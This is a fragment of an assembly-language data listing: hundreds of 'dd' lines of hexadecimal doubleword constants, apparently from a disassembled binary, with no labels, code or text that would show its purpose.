9DBFA418h, 654AF97Bh, 23BBC6ACh, 5F702716h, 6339E3FCh dd 0F3E89E0h, 9825E48Ah, 6A9495A3h, 0BDFDF482h, 91502FA8h dd 0B873A91h, 6E80F2DCh, 38DFDB8Fh, 41802981h, 0A16FA8AAh dd 8048E8CDh, 1A6FD32Eh, 0D205463Eh, 0BF8A4048h, 0D735C092h dd 0D8778842h, 0CF5395F0h, 73181759h, 0B56DAB05h, 0FDF25160h dd 29F05800h, 6CC3CD0Ah, 43761600h, 0BF017F5Eh, 7CA40023h dd 87C48059h, 0E14CFF61h, 0FD54E46h, 0C45AD0B8h, 0A3C5AC5Dh dd 6FA05A6Ch, 0DC300058h, 0DFE9A5E1h, 0FD76C94Fh, 75B1D76Bh dd 69A37A32h, 40694C8Dh, 675C5AFCh, 74B11497h, 21FB9704h dd 0E45F7E27h, 1325F8B0h, 8FFE1BB1h, 6572D60Ah, 7810D593h dd 700624Dh, 0A3692372h, 3EF5385Ch, 0BA102208h, 11CD1135h dd 58C0350h, 80221F14h, 0C1DBFCE1h, 5B45390Fh, 4C1BE82Eh dd 9EDCC0A7h, 3F27F79h, 97FFED7Ah, 0B9CC7D11h, 562425F6h dd 4B02F69Eh, 7646D1B5h, 89407551h, 62B55F5Bh, 0B06D7F78h dd 95601A65h, 77885E62h, 12080494h, 0EE1C870Fh, 0B7BB8EDCh dd 44AF2B79h, 4C30793h, 0B0C17A5Eh, 0E0DB6259h, 8D123198h dd 6FAB23B9h, 31423DFh, 0D88B90CAh, 71B360B0h, 7F9B615Ah dd 59A70CCh, 61A6E099h, 13BDA27h, 575D9D68h, 2E79B33Ch dd 3C8EFC10h, 48A6CF48h, 70FAF1E1h, 59958DDFh, 24744A93h dd 0D8652508h, 695BD04h, 424A1449h, 2D58C4DDh, 3D545F53h dd 5CFBB7C2h, 60D068ABh, 0B07DBEA4h, 35693D02h, 5C9617D5h dd 0BAD3E1BAh, 36986B2Ah, 46C082FBh, 722457E6h, 99CA342Dh dd 0DC6703Bh, 20B60446h, 519D1669h, 81309EA8h, 979A1092h dd 4C6F6CC2h, 0B5E3C07Ch, 7125759h, 2C608DB8h, 148657D5h dd 0CB33B8B4h, 4062768Bh, 4DBC1D68h, 1633E15Ch, 31BCF614h dd 0D147E200h, 4EE4BB1Eh, 8D6D9409h, 0E1BF7785h, 0DD1F8D00h dd 9D744D0Ch, 0A5803B71h, 9FBE3693h, 1187B55h, 76A2BB66h dd 2A53505Fh, 75F890C2h, 7AE4841h, 0F30A90D5h, 50929BD1h dd 253877F0h, 0CB6D5B0Ch, 63601764h, 2BD9735h, 554DBD97h dd 0A6209F4Dh, 0CFC414Bh, 245A32F3h, 0FBBC54E9h, 462CE5FCh dd 2711E7C2h, 2120EF4Bh, 8A7D8D01h, 0C975AE54h, 9C11907h dd 3BD041D3h, 0A1B0002h, 0D1481937h, 56C5EF63h, 38AB145Dh dd 9586648Fh, 8602F6B5h, 0D80121BDh, 0F514568Bh, 0B778B793h dd 0F3F00322h, 56185AF0h, 84E072D2h, 156DBF05h, 15C43DD0h dd 4A8AAFB4h, 7AF9DDD8h, 19B0B2B6h, 9E4D5D68h, 958D2077h dd 0F3545412h, 0D48BDCE9h, 0F6704101h, 0BD21A1FBh, 0D70D0278h dd 7ECE35FFh, 5502E98Ah dd 70B1B2ECh, 95345D7h, 94F69FB4h, 1701A740h, 704800E2h dd 5E2BE477h, 20EEF81h, 603CD95Fh, 0EC94BB96h, 504A26F9h dd 59D05EFh, 9DFBF21Eh, 7F31D58Bh, 79877F96h, 5C01CAE0h dd 8D0D0A56h, 0C2A80B63h, 60F6810Fh, 0B7D22840h, 0EE9A956Ah dd 9D92061h, 0AFF2242Ah, 0AEA073CAh, 0F7E8DEA1h, 702A0E00h dd 725CBBB9h, 0C2604A08h, 0EADF50EEh, 70C67B55h, 0BD243363h dd 0A5A8ACCDh, 4221C49Dh, 0D1F05086h, 0CCB61B4Ah, 0AA301AF2h dd 0E0DD046Bh, 0E8A8A96Fh, 0F98A4A86h, 34FE8A16h, 0B7A0EBAEh dd 32593D56h, 0A284FFBEh, 0AE757FF2h, 0ABF7C5F6h, 5E7EBB02h dd 502F45D5h, 783D7F3Fh, 8FBB8919h, 9551036Eh, 85D91D23h dd 27CE25E5h, 60A7315Ch, 3EBF50FDh, 0BC52E62h, 0E304BC2Dh dd 0DB67A7F9h, 0C9F4914Dh, 0AA04F0B6h, 83ED5F53h, 54601D64h dd 8800130Dh, 8EDDC133h, 72290C86h, 82591BDh, 0F8920187h dd 21882CE2h, 5025B385h, 0FD801DB8h, 8F60A666h, 80FE3D3Fh dd 6EF1214Dh, 0A9902867h, 7D34568Ch, 0A8A04ED8h, 7BAE4A6Dh dd 925900A4h, 0D5B7BF69h, 9D4A4BCFh, 686A3F23h, 48E1007Fh dd 0E9A78D09h, 70B786C9h, 0F7B8C230h, 384DB585h, 126018C4h dd 9F2521B3h, 5AFEDA9Eh, 979CB329h, 0BB9251DAh, 2B445C8h dd 608137E2h, 66578C0Fh, 78890BE1h, 185EB523h, 3BE26192h dd 2EFC5688h, 12B29237h, 0AAC68455h, 16C8079Ah, 15E12CC1h dd 0B731C62Ah, 1177F2B7h, 0A012A99Dh, 127FDB81h, 131CE59Dh dd 8D13FF57h, 0F2D167FFh, 59D511A1h, 0E8D4F218h, 9B5E07C0h dd 0E88E5B94h, 551B2D92h, 4C2FF437h, 5F390B7Bh, 0B8FC8041h dd 50D2C285h, 0D8BA63BBh, 0B9C1EDF4h, 0BD448C2Fh, 1637FC95h dd 0C24FDB6Ah, 0FC69D463h, 0AD958561h, 0E029171Ch, 27FCF0F7h dd 0F5A78CA1h, 0A0A777E4h, 24F85F9Ah, 1F0AB0ABh, 8854EDB1h dd 0C4CB96D4h, 2AC50460h, 9498900Bh, 0C400D39Bh, 431613B3h dd 5C002BEh, 29EBE82Eh, 9B91AB63h, 93D01DDh, 0C0A17DBCh dd 2A152525h, 0C482FB9Eh, 4141929Ch, 4B6072D1h, 50DC6FBBh dd 2D4AA5AEh, 186F19E7h, 0C55BADBDh, 0A5C7808Fh, 0EA6FD1FFh dd 41726D02h, 795F0EDDh, 95858474h, 40871604h, 69CD5F9h dd 0EF97C970h, 34C940B9h, 8C053109h, 579E7BB3h, 5B7FC0FEh dd 0D25B529h, 0A11C7116h, 0E7C7F86Fh, 30102818h, 811119C6h dd 0ADE36A50h, 0DC6EE400h, 0EA353C7h, 0AFC87E00h, 0AB1BE959h dd 80310FB5h, 0B326160h, 0BF55F7B1h, 0AF85059Dh, 0AEA29Ch dd 252EE7EDh, 0B8368CBEh, 7B174504h, 0B2F13520h, 8F190084h dd 50A616DCh, 96F4FBA9h, 0D11C720Fh, 0B25FAB4Fh, 9C65695h dd 7071CDE9h, 57E0B1C2h, 6178BEFBh, 0F89A0403h, 0BABF7F5Ch dd 0B7847EDBh, 0A694BE41h, 0F6957540h, 8D0816h, 46032DB0h dd 0E3D7C2C0h, 0DCA9CB01h, 2FB7CF28h, 0F6AB752Eh, 0FED8A013h dd 708C1D20h, 0F6F2C26Bh, 0EAD990D5h, 3321FF03h, 3C2EC028h dd 64E80981h, 1D002A88h, 9061CF8Ah, 0FFBA3297h, 0A871F50Bh dd 5F1E0D09h, 5125C7E5h, 0C1FC2D15h, 0C0C594D6h, 3EB516EDh dd 8D7E4D02h, 60FF6AD6h, 0EB5A248Bh, 9D295DF5h, 9D3D9D1Ah dd 35C47456h, 69D38041h, 0B32AB0h, 0B3429200h, 2E9134D1h dd 0CDFE2F00h, 0E622EDEFh, 278A9070h, 98D771E4h, 4FA5955Ah dd 0D030AE1Ch, 495F31h, 0BF414413h, 0A46A3D63h, 0F1C6E509h dd 44807205h, 96456F0h, 0A8130646h, 1555163Ah, 5789B2ACh dd 0FF101918h, 36B09000h, 9AB237CDh, 7A7F0331h, 164C77E8h dd 0BA5F6888h, 0F5B2065Ah, 39A90592h, 3042C92Ah, 7D4E1BF5h dd 0FA7E48BEh, 725B5789h, 327D9873h, 0D937140Dh, 0B8E6D2D7h dd 0DA743EB4h, 0E8218525h, 3F88E780h, 12B17CDh, 8D950178h dd 82094508h, 72DD33F9h, 885F4B79h, 0B0046563h, 0C02E28B5h dd 0A2280B9h, 28CBF0Ah, 4E11B947h, 2A75CD4Ah, 5C33D8C2h dd 5339C475h, 0AD3784FEh, 0D8B78271h, 6107760h, 2B00A430h dd 0B9668E9Eh, 805AFE07h, 418213FDh, 7944958Ah, 4026F2EBh dd 244BC6AAh, 62C18899h, 6E2A4031h, 0B5CC0919h, 0B0B4E0ACh dd 4CF977Eh, 2B2C6E41h, 0B4D9DD20h, 35DF2733h, 32CC2D6Fh dd 4C705700h, 51AD5439h, 9F2093Ch, 215F8D29h, 0FB8B9A1h dd 4D3C1932h, 0A26CE6CAh, 0FCAA3014h, 37B96002h, 4018BEE4h dd 8208316Ch, 0F723C27Fh, 128E87BDh, 0EF8040B5h, 90D22B8Eh dd 0B6CCD265h, 0DE8BC5E2h, 94B820A9h, 9A1E7D02h, 5DBBB555h dd 0C8DF5881h, 0EA0A80ABh, 0D61536Ah, 68D39D88h, 1CC4FAD8h dd 8088FFB8h, 1127CD8h, 1F4AB59Dh, 98048E9h, 0D8F0A148h dd 2A13E700h, 776F243h, 0E37B0086h, 600D068Fh, 714A958Bh dd 0D0B841BBh, 6A613523h, 177C59A6h, 0C26A96EBh, 0BAD52197h dd 7133FB91h, 92C36F11h, 8F694B29h, 62CAA00Eh, 631097AEh dd 65009FCEh, 0CB82BFEh, 1E1840DEh, 45530F0Dh, 0FDC145FFh dd 0A93AB99Bh, 0E9E0D8CAh, 0FA67B51Ch, 0BF027111h, 3D9C05D1h dd 0B8701F78h, 0E1F31293h, 0FCFDC927h, 41A93CCh, 71B50179h dd 0C06FAE05h, 7161823h, 0AB44C4BAh, 0C2381C2h, 0FF802CEDh dd 25B398E1h, 0F8C72681h, 5C04060Bh, 0CB00F472h, 20220DFDh dd 9F78B580h, 0FBD02B13h, 6A01323Dh, 27645503h, 282EBF69h dd 178BE1FDh, 0AA1319B6h, 89986038h, 5D136057h, 5F3BB392h dd 7FF1A429h, 1282F6A7h, 26FBE1F9h, 0B3D2F0E7h, 0FD19761h dd 7540269Eh, 8D595BC0h, 12A801F7h, 0B71FA713h, 0F1092EE5h dd 0B6D472F9h, 77514945h, 7189B309h, 49EAB163h, 6290022Fh dd 9D0E7D74h, 8527E3D4h, 0ECFF2612h, 30F33A1Ah, 0B346A85Ah dd 2C2BD94Eh, 0CB8AE56Bh, 5AF9DF4Bh, 0B9C5BF83h, 0C16FF8F4h dd 5902C13Eh, 0F64927E1h, 58DE448Bh, 2013AA74h, 2AD12DAAh dd 0F601876Ah, 0BB7801CEh, 0BCBC600Ah, 25624579h, 5C1FE1F6h dd 8C60E465h, 18003E27h, 408C90ABh, 0BC92806h, 61FCD0D7h dd 1E6899A0h, 0BB89C8E9h, 4B0483C4h, 0F8748C06h, 0F5721297h dd 5BE008CDh, 901DC256h, 8FC97AAh, 0FD886225h, 7C60BB4Fh dd 30E762Bh, 1C55AB7Bh, 0C7C1EABFh, 1A272E42h, 2AF2CF00h dd 671900ECh, 0FBC7816Dh, 5312A070h, 0F21F095Fh, 29FFE056h dd 0A82139ECh, 0BD0B086Eh, 3B2616F1h, 0FD4D702h, 21CF5501h dd 0BFD18840h, 941B092Bh, 0B2DF5019h, 0A144F78Fh, 15D85B4Bh dd 0F6044E46h, 6520E039h, 0E89172D9h, 47320308h, 960EB3EBh dd 7E4CA2FCh, 886AC900h, 5BFC8A60h, 869CC45Fh, 77564B08h dd 6F963F31h, 0B525E8A8h, 80BA3DD5h, 0FAA2864Ch, 94AC9ECh dd 0F1961EECh, 0A8400079h, 5201586Eh, 7E5CA94Bh, 0D2E3A368h dd 0FB8955DCh, 0ABFA5F70h, 4D23B02Fh, 0A414C044h, 6605AA1Fh dd 4E6DBAD5h, 1BDD507h, 5BF2563Bh, 50041EEAh, 38B1B5AEh dd 39324869h, 80174DE1h, 8D0F61F5h, 25D8A0Eh, 2C951Ah dd 31E1B589h, 0CB7BFBBFh, 0F742656Dh, 0BD5D404Ah, 232B2441h dd 29890598h, 2BCBBF05h, 0ED4A6838h, 31E8B7h, 501E131Bh dd 0FC603D71h, 705AE938h, 0E9BAEDB7h, 27526557h, 0BD8A9BF0h dd 8043E0DEh, 393CB00Ch, 4A80B264h, 7079045Bh, 0EB92BC79h dd 8152F884h, 22DD104h, 269FD65Fh, 967F4B86h, 4168452Bh dd 4B80AC39h, 0EE5727EAh, 1657118h, 2F33AECCh, 7F99B16Dh dd 1DC8A69Ah, 0F75116C0h, 963E01DCh, 0B190A6D6h, 694A6052h dd 3C80F609h, 8142795Fh dd 0E6573FBBh, 7A372E08h, 652B85B0h, 27999741h, 398B4156h dd 505B0019h, 88574B53h, 0AB00D6EFh, 0AD292D26h, 174E6894h dd 0FB5B5F0Ch, 605FFE3Fh, 3405B046h, 5E8EA500h, 0EB3F57DCh dd 152A7ABFh, 9AF578D3h, 0D5A293h, 98B409F1h, 97787083h dd 0E7811198h, 97D50B0Ah, 0DC4C7A19h, 253A96E5h, 3E98EF66h dd 0CE2A6125h, 0B130C5EFh, 4E0DA604h, 0B1A1B1E9h, 4A9A7AEAh dd 2BC017C8h, 9786EB1Fh, 0C5EFF09h, 0BCD309DCh, 1C78FE8Ah dd 99B52909h, 0A5EE7321h, 0D36E10FCh, 0CFB3A212h, 0ABB45F46h dd 9D6A00A0h, 258207B7h, 0D5129031h, 4F034FD9h, 0D02C5432h dd 4A7C45D0h, 17B8F749h, 29EE226Dh, 74DA08EBh, 7636BB00h dd 0CA6AC3A3h, 0B23ECB6h, 7737780Dh, 44BBD000h, 6027AD4Ch dd 4C10565Fh, 1B5E915Ah, 3EBD6CADh, 0EC4BD4A7h, 894CC565h dd 9212C108h, 0B63F8856h, 0AF94DA00h, 68F275F5h, 0CF5713ECh dd 3D3E045Fh, 0ACEFB9B9h, 4C128C16h, 0DBE220CBh, 0F58A4088h dd 0BA4850h, 91548D64h, 3C976ACEh, 0FA498ED2h, 0DCBD384Dh dd 980E67DEh, 24B03ABCh, 54B01216h, 2CB7A531h, 0AFCC1695h dd 24B188h, 0B9092CF4h, 0F0771C18h, 930E5E00h, 0A73C94D1h dd 45E9EBEh, 0B85B7DAAh, 6BA8D2F7h, 4B36F64Fh, 0DEEE3194h dd 0E9C9C387h, 0D7CED2EBh, 31099DC6h, 7304399Dh, 174A5DAh dd 0E4AC2A12h, 332023E2h, 971A119Dh, 3E108C3Bh, 503B0F79h dd 0A5A2BDA7h, 0D3D2C65Bh, 0CD332525h, 44D30076h, 0E92860EBh dd 0A82F3B45h, 0C1979DFCh, 0D4B5C90Eh, 1E9123Ah, 0FC4B56E7h dd 0B0222217h, 0F5B6CFCDh, 0F87BADB3h, 0BF330CBEh, 7186DE65h dd 95EA10B7h, 5A2EA32Eh, 66DC90B2h, 206130BBh, 0E4EFB29Eh dd 5596B6BBh, 0C9F2A82Fh, 0F3167787h, 5DBD0108h, 3090121Eh dd 62ABF27Dh, 96B8C50Eh, 17268098h, 27B750B1h, 0D3B790E7h dd 0D36FAA00h, 9014C158h, 606E0048h, 0BA66D08Bh, 614E04BEh dd 0E9E896A9h, 65D6C701h, 8D290E7Fh, 0EF3825D5h, 0F6D71796h dd 311BB2DCh, 7598FB09h, 2D4E0E50h, 5E5121FBh, 3EF83E37h dd 6A5B28E1h, 0DA6A0ADDh, 0FFA0825Ah, 7AB7F5D1h, 0F7FA2F00h dd 4B4019BFh, 4E0B9ECDh, 0BD3F376Ah, 2DF8C184h, 976BF83Bh dd 0E4A270ABh, 78033A34h, 9531858Ah, 17B8D4A5h, 849EDAD2h dd 83872921h, 695825B8h, 2F18DBB7h, 0ECAC8EA0h, 14078EBBh dd 0DF54A361h, 0C041EB03h, 0BD310F5Bh, 0BB0F7346h, 52809C4Eh dd 0B57FF5E9h, 0C2AD84F9h, 87C8FFEBh, 7BBD1345h, 0D0385AB0h dd 0BF3A2087h, 1EE60B48h, 0D610FF8Bh, 0FC97A1E9h, 0EFBC58C9h dd 0CCCD9584h, 7063C440h, 4C4F0498h, 0B857C84Eh, 8A5B0E43h dd 0C09EF4DCh, 51300317h, 7CD7049h, 0BBE30789h, 0BD338277h dd 71897057h, 8B539D5Bh, 4B14D988h, 0B0D52B0Bh, 705D6D3Dh dd 0A04D0971h, 6559BB17h, 81DEEF00h, 0E5033Ah, 61F1EA4Bh dd 58B67856h, 4E25BE07h, 90A45288h, 80B867FDh, 0E133281Dh dd 8DF63A84h, 0B9D60DB8h, 0BEBCF3h, 0DCE1D5C7h, 25A19501h dd 0B0271497h, 5E162562h, 18BD25CAh, 71404D85h, 0FC5A7ABDh dd 4EB297FEh, 0BFB63E85h, 0B37BDC8Dh, 6A5F0B87h, 0C0FCCDFFh dd 28F70DF0h, 34D4C000h, 0DF815E2Ah, 8BA517BBh, 0A12B047Fh dd 0EFA6EA07h, 7D5CBBF2h, 604F17C4h, 63AF275Fh, 0CE21AAF3h dd 0E096B061h, 6C3CC8Bh, 24AD0C4Eh, 0EE85F100h, 799D8968h dd 4BFF214Bh, 0FE66883Ch, 0A32E712h, 8BDA75E4h, 0BD23C3E0h dd 0C17D2A25h, 59DD096Dh, 91F7F92Bh, 0D7419DB7h, 198C50EEh dd 82B2C71h, 802F322Ch, 4EF9D797h, 79BD1A31h, 6956C91Fh dd 0E21F5716h, 845B4BE2h, 223A816Eh, 13FC2B7Ah, 0DE089910h dd 81E9F946h, 0E0505A7Fh, 0F7B4232Fh, 1448E48h, 8ED871B9h dd 0EB69CEF3h, 1C3CF410h, 0B566D29h, 6C000E65h, 93376E7h dd 1159B51Eh, 956A782Fh, 6677679Ah, 679195C6h, 0B3706E31h dd 7E6A8DCAh, 0F8CB0754h, 2125D687h, 0C9F94FEBh, 78642E27h dd 33978204h, 68070584h, 56898D31h, 71B858E7h, 40DE6FB5h dd 0C4C85DDAh, 4DA166Bh, 0AA6413F0h, 3D0EF76Ah, 99410B77h dd 3EDF31FAh, 22751604h, 19BC69B9h, 7E14028Ch, 281E1B76h dd 0D100C7C6h, 4834CF2h, 0D0919Eh, 0F152AE9Dh, 0F8B989F9h dd 37AA29D2h, 68F62F9h, 4A50782Bh, 0A248E62Ah, 0AD98301Ch dd 0D7838D00h, 23877BDAh, 82A805BBh, 0E6FC196Fh, 63BAE177h dd 1487EFF4h, 0D3491A2Fh, 12170910h, 88EBC02Bh, 1300AC8Ah dd 5EE187D9h, 48F89E4Dh, 89004B60h, 0BDDC0C76h, 42C5B08Fh dd 61AE2041h, 2A63B30Bh, 95841BB6h, 81534021h, 25BEA7C7h dd 927F2252h, 41986056h, 135BB504h, 84C31579h, 2E8EE121h dd 257E4913h, 0FCB51C00h, 371DF288h, 0D00096A6h, 0A0988BFBh dd 0F00CCA68h, 2F047A4Eh, 0E5DE894Fh, 5A615969h, 12DE84F7h dd 0CE7AFEh, 0B310A1E8h, 2D76D73Fh, 7D94112h, 358B4BBEh dd 0A4EF5525h, 1C94DC69h, 53DB27B8h, 2557B6D8h, 44DBD3B7h dd 48E3D912h, 897FF825h, 4419598Fh, 12C054ACh, 0E9AC3371h dd 274FB4E3h, 0E9A8C684h, 205E6EA3h, 96C1999Bh, 0EC621941h dd 0F64CCAAAh, 157316BFh, 6917F04h, 76CD6009h, 1ABFE2C0h dd 56BA6E8Dh, 25861E6Ah, 0EF762B62h, 958AE840h, 4B630E4Dh dd 0DF4278D8h, 95C2164h, 0C029CD27h, 0C09650EDh, 0EC167202h dd 5CA62D65h, 15E892Dh, 4BFBD55h, 0C4F5838Bh, 0B9DB1792h dd 0DEA25A0Bh, 694B9FA8h, 0BC0AC9BDh, 0A5F888D5h, 0D59E8270h dd 0D6EAFC2Dh, 0F7C995BEh, 0F15FCF1Ah, 0D7DBF28Ch, 0CF684B00h dd 12DAAB4Ah, 4E149FF7h, 0AB135564h, 71C4F99Eh, 5A89AB29h dd 0DDD8001h, 96A9A36Ah, 0BB03ECE6h, 5650A345h, 0F792DAA8h dd 5DFF3C4Bh, 33C62490h, 4A848734h, 0D8090E89h, 0C6664D58h dd 4D20F8C4h, 0D1BB0420h, 0A82BAC31h, 0F801C9DDh, 0CDBA959Ch dd 56406F74h, 36A5ECh, 1B69EBA8h, 0FF0CE72Bh, 4653BC00h dd 0E9B82E10h, 95349A28h, 0A9B3C798h, 0CD59B725h, 641C64CAh dd 0A86EEFDh, 925DAB3h, 96CFCE1Dh, 0E2404020h, 8400194Bh dd 42C434FEh, 148A2365h, 6FE860DEh, 0C86A8902h, 0F40AE9Bh dd 0C6730A68h, 0AD716000h, 0EB0586Ch, 2078B05Eh, 61252CA9h dd 9CC0CE5Fh, 0D05D4ABh, 0FD58531h, 7406BD49h, 7B01DCC7h dd 95AAEC2Dh, 312EEF6Dh, 3A8D89B9h, 0A23A22E5h, 26BA8BBh dd 6CB88BDBh, 0DA5C4CB5h, 59B725h, 8F3F1BDDh, 0BD4B8922h dd 0B55037F4h, 4D17261h, 86A420EBh, 0E02D91CEh, 2D7C5993h dd 5D083859h, 181F5320h, 6282DE9h, 0F2D20148h, 4BB1DC50h dd 7FFBA755h, 8DBB42A4h, 0BFD44CC4h, 74541C0Fh, 0BB003C14h dd 66DE27AFh, 9E10A089h, 370C17DCh, 128BF858h, 0ADE72F3Eh dd 0C49D2922h, 27152085h, 0AC8604Bh, 0A10B28F9h, 2B1412AFh dd 62DDEAEEh, 56E1E62Ah, 1ED1006Ah, 0A6A51C86h, 0F7260E25h dd 0BFA1E91Bh, 0E00890E7h, 60375EBDh, 0C6A94B61h, 7BBB0545h dd 0E2179655h, 94821EFFh, 79AB3F00h, 7C16C2h, 522D030h dd 4D12CAAEh, 25DBC49Fh, 8FF53D1Ch, 3CF9C020h, 1DF132DAh dd 858485D9h, 4784AEAh, 92A3185h, 0CB705E5Fh, 144B2B78h dd 90418DAh, 0AF1C05B5h, 0ED5B512Ah, 2E4AC9Fh, 365620Bh dd 0E97FBD29h, 407FE92Eh, 0B0F781B0h, 374B30AFh, 0BBB8BF8Eh dd 0AF73893Ah, 1A0376Fh, 0CFB9A621h, 1D422E95h, 42DA8B60h dd 92D074D8h, 9028AC1h dd 5D044C85h, 0AA029A3Dh, 551148D9h, 0F516AC62h, 0FE041D25h dd 0D248F606h, 0CA5838C0h, 16C836DAh, 0EB7E83C1h, 88CE103Eh dd 4AEC8505h, 919AEA24h, 0EDC149D5h, 0C19F03D4h, 778D6AABh dd 97DEBFD8h, 6274B809h, 57820EF6h, 0E8F20895h, 16351009h dd 0B9850905h, 7471AE1Bh, 1D7EFDB7h, 529F13ACh, 1356E8C7h dd 71AEF8B3h, 4135597h, 856513AAh, 286BABECh, 0F1041623h dd 0A7AA75B1h, 5A21F035h, 9ED75F6h, 118D9D0Bh, 64C6F7h dd 7FE724ADh, 0CAD34110h, 62460502h, 75659512h, 539D03CCh dd 794DAFFFh, 0D6223C0h, 1F1A0261h, 0C642BF66h, 3DB7DA70h dd 1CE88037h, 2D89B667h, 0B28D0209h, 257778C8h, 5AE0DF8Bh dd 3921BD0Bh, 95014024h, 0EE9519D9h, 40D9BE26h, 697FE39h dd 4E124501h, 0D6779F6h, 0BC0FF93Bh, 2A820002h, 9DBDBF60h dd 892D1E86h, 4BECFA95h, 367FFE61h, 0D82BDE0Eh, 6A223F20h dd 0EC4F7F13h, 17B21EE6h, 2E8AE30h, 9D091B6Bh, 7B5D0151h dd 0B7280E1h, 0A75965A0h, 5D15B500h, 259A8EA9h, 33AF1662h dd 0B0D380DEh, 2A905EA0h, 4B78C15Dh, 280D6EEEh, 0CD95F10Ah dd 621A6476h, 6CC7414Ah, 9092B8FCh, 0FCE425FEh, 47908BE6h dd 974BC595h, 0EC17F939h, 50722F6Bh, 0D9E1D290h, 3AC91500h dd 0B6C89F3Bh, 2F8E1564h, 1273935Eh, 0BF1831BDh, 178996DBh dd 42CE9C30h, 209C2DF2h, 444A742Dh, 9F5EDF35h, 51B69FC2h dd 0BF65F55Bh, 4A8B6750h, 0DD6AFFFAh, 3FC01149h, 8E885F5h dd 89A0BF04h, 94BC0AE7h, 42B55A2h, 0AD489DFh, 0C8C39AEAh dd 80AFC514h, 3423F698h, 7BC63C27h, 5A5DD24Eh, 338F2669h dd 4B5625C9h, 8908A578h, 15B16AB6h, 0BC21FD6Ah, 829F0075h dd 9EA36365h, 0AA98B70Fh, 2E41BD12h, 0B6B435BCh, 9820A080h dd 6F7E021Fh, 21C0FBA7h, 9375C0E2h, 0C87416A1h, 70FAE261h dd 186C6D04h, 0B3EF3599h, 72A84BC7h, 0B6240413h, 2C0BE064h dd 313CC2D6h, 0B754DD95h, 4C588349h, 49F03888h, 0B713E53Fh dd 0D224ABD2h, 524EFAEDh, 0B88DB9F1h, 49D9092Dh, 0FE749DC5h dd 6ACA0C05h, 466FAFh, 374E550Dh, 4B3641FDh, 0DEDCD2F9h dd 5060BB14h, 0B10EF909h, 0D23AC74Dh, 0D559C6F7h, 0D1FACCACh dd 0F604E777h, 2E35B529h, 0E775FF0Fh, 374F70BCh, 23C574F1h dd 38DE8E2Bh, 0CDB5708Dh, 0EDC4E063h, 597DB099h, 6A148C09h dd 25D6DE02h, 0F67B1C42h, 0B8E577DAh, 91D541A5h, 158D2910h dd 5A8B2044h, 0AC45ADD9h, 1589B16h, 9BD67A9h, 26443A85h dd 97BCE7E9h, 0E58253E3h, 406FA3D4h, 3F79DE17h, 166C5CDDh dd 0A71C0512h, 6A9A0BCh, 0C27B07F7h, 14B53190h, 0EBD8BE15h dd 0CDD2B5E1h, 7A13F700h, 0B8483A24h, 0AC501283h, 4BA0F3F4h dd 0C280EAA9h, 36615198h, 6B1C0C14h, 58F113D9h, 3433430h dd 107705BCh, 0FA506189h, 0BFDCC58Dh, 0A2F004C2h, 0EE905F57h dd 0CAC065DBh, 1A3066DFh, 2C9DEEA8h, 95F96EBDh, 29824E5Bh dd 57056595h, 0DA5AAE16h, 0BB8C34EBh, 0DC605BF4h, 4135054h dd 6A615950h, 0C1F39BEEh, 286E785Eh, 0CDB4816Fh, 4AC50826h dd 4330FA23h, 0D8F9EEh, 4CA1CC26h, 0DD10AB98h, 3B0AC701h dd 0ED7CC94Fh, 0D4AF1750h, 0D480345h, 0BD775FBFh, 0C72390F0h dd 60FF2004h, 0CFBC7FAEh, 0D4CB8080h, 0BB014E91h, 0F810A070h dd 0D7C65B12h, 142E6839h, 51E1F2AFh, 26943FA1h, 173AC9AAh dd 39E3F046h, 66005C31h, 2A470B27h, 58B536Fh, 8AC4450h dd 32E0CCF3h, 4204A700h, 0AF8A9A25h, 0B81C008Bh, 0E45F33E7h dd 0BB126671h, 83F46FD1h, 858988E5h, 4BC17D5Dh, 0DC8A8380h dd 3098BDBAh, 60801C4Dh, 0BD3124F5h, 0FAC1C5FCh, 0AD4A0CE2h dd 299D0863h, 606C6A0Eh, 888CD8AFh, 2B0083F4h, 0EADB81C8h dd 33495436h, 0D590D18Bh, 92E96112h, 0D92D45F2h, 2D2E2AD8h dd 440E8E25h, 325F2C4Ch, 8D939F05h, 3DBA384Eh, 7A22B841h dd 6EE2DA09h, 0B1857B0Ah, 3B2EE5F0h, 52D3C5FCh, 285E35Ch dd 3C9FADBBh, 44845E17h, 40E84A3Bh, 0EE9B0800h, 18A1459Fh dd 0C447A7CBh, 4E098BD7h, 5DBD2B5Bh, 895CFE62h, 38F0FC1h dd 0D0447E49h, 0B191795Dh, 0B08E984Bh, 37E48025h, 91187CBh dd 3E1D94h, 7F0C7CCh, 61AA244Ah, 122BAD3Ah, 0CD866A06h dd 7784E0F0h, 7F021EC8h, 83F971C1h, 0ECD55E1h, 0A35855E0h dd 46FC563Dh, 0EF0EA2B0h, 131640Bh, 0C69AC079h, 0C02B0961h dd 1C78FD8Ah, 400D4F9Fh, 9F403BD5h, 0FA9D5BB5h, 61C3AAFCh dd 0D384E2E8h, 0BD97080h, 9345C104h, 4D80F9D6h, 0B5CE85EFh dd 1444D8CDh, 0F4FC1E62h, 5D4A622Dh, 5352ABFBh, 0F835033Fh dd 0B0FA34C1h, 1E0E9D85h, 8DE4401Fh, 0F676E3D4h, 884CB102h dd 55EBCD22h, 5BC9D90Fh, 0DEB7AA78h, 0C5F6F454h, 0B0F70502h dd 5759BF37h, 0CDAFF317h, 0D0E14727h, 0FDA398D4h, 0BCE69501h dd 0C18A60C8h, 4C9D7330h, 0BD84BC1Eh, 6001D399h, 3C8B888h dd 0D07CC724h, 291DB10Ch, 0AAE32780h, 4E201455h, 54DADC3Fh dd 4C2D472Ch, 2021FA00h, 4DD6789h, 0F39615C4h, 0C1EBC1C2h dd 0F6B66A22h, 0BD081D58h, 660231DDh, 7D042DB9h, 0BB813751h dd 68FFED69h, 0F1DAC8CAh, 0AAC79508h, 0B64B7511h, 79B50915h dd 0C4977905h, 0C37BAE77h, 3146D200h, 0C5539173h, 0B7CA8F4Bh dd 0BDFD1127h, 606B0905h, 1DC3DF6h, 2FD394EEh, 23D6CC0Dh dd 8228007Bh, 442DA3C8h, 0C30C01ABh, 0EE3548DDh, 0E5E02E11h dd 559B125Ah, 6DBCF15Fh, 121CB8E2h, 0EAF88B48h, 0C1802D9Eh dd 2F7387CBh, 35AE2D4Eh, 11DB82A4h, 3C4B517Dh, 0D3CFB570h dd 0EA9DD40h, 0E3B94FA4h, 2FAC5AC2h, 0C61E1FAAh, 2C4A86C0h dd 1E811A87h, 9268B9F3h, 12CEF30Bh, 0A5377CB3h, 8A4BC580h dd 0D7740316h, 9BA46055h, 33E8C6C0h, 250212Fh, 6124046Ah dd 9EA7DB95h, 0CCA355E1h, 1011B68h, 0ECBFE26Dh, 0F6E3D0B0h dd 